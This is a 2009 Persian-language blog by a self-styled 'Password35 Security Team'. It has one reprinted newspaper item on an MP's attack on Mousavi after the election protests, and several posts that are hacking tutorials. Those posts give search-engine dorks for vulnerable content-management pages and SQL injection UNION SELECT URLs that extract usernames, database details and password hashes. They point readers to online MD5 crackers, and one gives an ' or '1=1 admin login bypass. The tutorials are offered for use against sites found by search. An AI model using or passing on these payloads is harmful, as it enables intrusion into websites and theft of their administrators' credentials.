چهارشنبه 27 خرداد 1388 .::  Password35 Security Team ::.

چرا پس از دیدار بارهبری راهپیمایی برگزار كردید؟
اعتماد ملی:  عضو فراكسیون اكثریت روز گذشته در نطق میان دستورش  به سیاست‌های اخیر كاندیداهای اصلاحات و حامیانشان تاخت. موسی‌الرضا ثروتی خطاب به میرحسین موسوی گفت: پس از دیدار یك ساعت‌و‌نیمه با مقام معظم رهبری و ارشاد جنابعالی برای پیگیری قانون از شورای نگهبان چرا جنابعالی با تجمع و راهپیمایی غیرقانونی برگزار كردید؟  ثروتی همچنین با تاكید بر اینكه شاید نتایج انتخابات كه با آرامش و با دقت توسط مردم برگزار شده است به نفع برخی نباشد؛ تصریح كرد: ما باید قاعده شكست را بپذیریم و با اطاعت از قانون و رهبری در عمل نشان دهیم و از دام شیطان‌ها آگاه باشیم تا احساسات بر تعقل غلبه نكند.  نماینده بجنورد گفت: متاسفانه در ایام انتخابات شاهد برخی‌تهمت‌ها در مناظره‌ها بودیم كه وجه خوبی برای نظام نداشت و موجب سوءاستفاده استكبار جهانی شده و از جمله آنها مكاتبات با رهبری از سوی بزرگان نظام و بیانیه‌ای كه كاندیداها كه برای گسترش ناهنجاری، ناامنی و بی‌قانونی در كشور صادر كرده‌اند.   ثروتی با تاكید بر اینكه شاید نتایج انتخابات كه با آرامش و با دقت توسط مردم برگزار شده است به نفع برخی نباشد؛ تصریح كرد: ما باید قاعده شكست را بپذیریم و اطاعت از قانون و رهبری در عمل نشان دهیم و از دام شیطان‌ها آگاه باشیم تا احساسات بر تعقل غلبه نكند.   این نماینده اصولگرای مجلس با اشاره به اینكه نباید شیرینی حضور گسترده 40 میلیونی مردم را به كام آنها تلخ كنیم؛ تصریح كرد: اینجانب از بیانیه‌میرحسین موسوی بسیار متعجب شدم چراكه وی 8 سال نخست‌وزیر زمان جنگ بوده است.   ثروتی به برخی از جملات میرحسین موسوی در بیانیه خود یادآور شد: میرحسین موسوی در بیانیه خود گفته بود كه ترس آن دارم كه وضع موجود همه نیروهای موثر نظام را به توجیه‌گرایی و دروغگویی تبدیل كند.  وی با بیان اینكه چه كسی جنگ روانی و اتهامات و دروغگویی نسبت به مسوولان را در نظام رواج داد؟  خاطر نشان كرد: شما پس از دیدار یك ساعت‌ونیمه با مقام معظم رهبری و ارشاد جنابعالی برای پیگیری قانون از شورای نگهبان چرا جنابعالی با تجمع و راهپیمایی غیرقانونی برگزار كردید؟ و چه مطالبی بر زبان راندید؟   وی در توصیه‌ای به میرحسین موسوی گفت: نگذارید زمان دیر شود و بدانید كه اگر رهبر حكمی صادر نماید آن وقت توبه كردن سودی ندارد و مردم متدین نخواهند گذاشت فرصت‌طلبان، ساده‌لوحان و منافقین جام زهر دیگری را برای رهبر تدارك ببینند.   ثروتی با تاكید بر اینكه مردم متدین برگزار‌كننده انتخابات بوده و فقط یك نماینده از دولت در انتخابات حضور داشته افزود: جنابعالی چرا مردم را متهم به دروغگویی و شعبده‌بازی می‌كنید لطفا رازهای پشت سر ادعای خود را افشا كنید تا ما شما را بیشتر بشناسیم.  نماینده بجنورد در ادامه تصریح كرد: شما چه كسی هستید كه فراتر از قانون دستور می‌دهید مگر كشور رهبر ندارد؟ چرا افرادی كه موجب ضرر به اموال عمومی، جان و مال و ناموس مردم شده‌اند طرفداران شما هستند بنابراین گول وابستگان به غرب را نخورید. گول نخورید مردم به شما رای نداده‌اند بدانید كه بیش از 90 درصد روستاها و 60 تا 70 درصد شهرها به دیگران رای داده‌اند و بیش از این دستاویز بیگانگان و دشمنان نظام نشوید.   وی در تقاضایی از دادستان كل كشور گفت: از دادستان تقاضا دارم با عنایت از دعوت‌كنندگان به شورش و ناامنی در كشور، دادگاهی علنی و برابر در بی‌قانونی‌ها دادگاهی برگزار كنند و از مجلس خواستارم با اقدام قانونی وارد صحنه شده و به فضا خاتمه دهد همچنین نیروی انتظامی نیز باید با اوباش برخورد كرده كه آنها باعث عدم آرامش مردم شده‌اند.

منبع: روزنامه اعتماد ملی    شماره 964  تاریخ چاپ : 27/3/1388  کد خبر: 2983

با تشکر : Password35

 

 لینك مطلب نظرات []

سه شنبه 12 خرداد 1388 .::  Password35 Security Team ::.

سلام دوستان!
امروز پس از مدتها اومدم که یه آموزش دیگه واستون از سری آموزشهای متنی هک سایت بزارم!شما در این آموزش می توانید با نحوه هک سایت هایی که دارای مدیریت محتوای Million Dollar Text Links  هستند آشنا شوید!

این آموزش از این قرار است که شما ابتدا عبارت زیر را در موتور جستجوگر جستجو کنید:

million/admin.link.modify.php

حال پس از یافتن سایت های مورد نظر از طریق لینک های زیر می توانید قسمت مدیریت این قبیل سایت ها شوید: 

demo/million/admin.link.modify.php?id=-6%20UNION%20SELECT%201,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9--

برای نمونه می توانید از سایت زیر استفاده کنید: 

 ادامه مطلب...

 لینك مطلب نظرات []

دوشنبه 11 خرداد 1388 .::  Password35 Security Team ::.

سلام دوستان!
امروز می خوام تو این پست براتون یه سایت Demo رو معرفی کنم! که به آسانی می توانید قسمت مدیریت یا همون Administrator اون شوید و به طور کلی و بیشتر با محیط مدیریت اینگونه سایت ها آشنا بشوید!
لازم به ذکر است که از دست کاری محیط این سایت جدا خودداری کنید چون آین آموزش فقط در راستای آفزایش توان علمی شما کاربران می باشد!

شما دوستان می توانید جهت ورود به محیط مدیریت سایت زیر به روش زیر اقدام کنید:

http://helpdesk-demo.com/

برای ورود به محیط مدیریت سایت بالا بر روی لینک زیر کلیک کنید:

http://helpdesk-demo.com/admin.asp

حال هم می توانید از طریق نام کاربری و رمز عبور ذخیره شده در سایت استفاده کنید و هم می توانید از طریق نام کاربری و رمز عبور زیر برای ورود به قسمت مدیریت سایت بالا استفاده کنید:

User name:' or '1=1

Password:' or '1=1

توجه:لازم به ذکر است که این آموزش از تاریخ درج در این پست به مدت 3 روز قابل استفاده می باشد و بعد از این مدت مدیریت سایت در قبال اشکالات احتمالی این آموزش ، پاسخگو  نمی باشد!

با تشکر : Password35

 

 لینك مطلب نظرات []

جمعه 1 خرداد 1388 .::  Password35 Security Team ::.

سلام دوستان!
امروز پس از مدتها اومدم که یه آموزش دیگه واستون از سری آموزشهای متنی هک یوزر و پسورد سایت بزارم!شما در این آموزش می توانید با نحوه هک یوزر پسورد ادمین سایت هایی که دارای مدیریت محتوای   managePerson.php  هستند آشنا می شوید!

این آموزش از این قرار است که شما ابتدا عبارت زیر را در موتور جستجوگر جستجو کنید:

managePerson.php

حال پس از یافتن سایت های مورد نظر از طریق لینک های زیر می توانید یوزر و پسورد سایت را بدست آورید: 

برای بدست آوردن یوزر  و پسورد سایت لینک زیر را به ادامه نام سایت یافته شده اضافه کنید:

managePerson.php?personId=-1+UNION+ALL+SELECT+1,version(),user(),database(),version(),user(),database(),version(),user(),database(),11,12%23

 لازم به ذکر است که این اکسپلویت ، پسورد سایت را به صورت اینکود شده برای شما ظاهر می کند  که می توانید از طریق برنامه MD5 یا یکی از سایت های که خدمت MD5 را به صورت آنلاین ارائه می دهند مانند:http://md5pass.info استفاده کنید و پسورد اصلی هر کاربر از جمله رووت سایت را به دست آورید!

برای نمونه می توانید از سایت زیر استفاده کنید: 

 ادامه مطلب...

 لینك مطلب نظرات []

پنجشنبه 31 اردیبهشت 1388 .::  Password35 Security Team ::.

سلام دوستان!
امروز پس از مدتها اومدم که یه آموزش دیگه واستون از سری آموزشهای متنی هک یوزر و پسورد سایت بزارم!شما در این آموزش می توانید با نحوه هک یوزر پسورد ادمین سایت هایی که دارای مدیریت محتوای SQL Injection Vulnerability هستند آشنا می شوید!

این آموزش از این قرار است که شما ابتدا عبارت زیر را در موتور جستجوگر جستجو کنید:

list_list.php

حال پس از یافتن سایت های مورد نظر از طریق لینک های زیر می توانید یوزر و پسورد سایت را بدست آورید: 

برای بدست آوردن یوزر سایت لینک زیر را به ادامه نام سایت یافته شده اضافه کنید:

list_list.php?id=-1+UNION%20SELECT%20username,2+from+roundcube.users--

برای بدست آوردن پسورد سایت لینک زیر را به ادامه نام سایت یافته شده اضافه کنید:

list_list.php?id=-1+UNION%20SELECT+password,2+from+mysql.user--

 لازم به ذکر است که این اکسپلویت ، پسورد سایت را به صورت اینکود شده برای شما ظاهر می کند  که می توانید از طریق برنامه MD5 یا یکی از سایت های که خدمت MD5 را به صورت آنلاین ارائه می دهند مانند:http://md5pass.info استفاده کنید و پسورد اصلی هر کاربر از جمله رووت سایت را به دست آورید!

برای نمونه می توانید از سایت زیر استفاده کنید: 

 ادامه مطلب...

 لینك مطلب نظرات []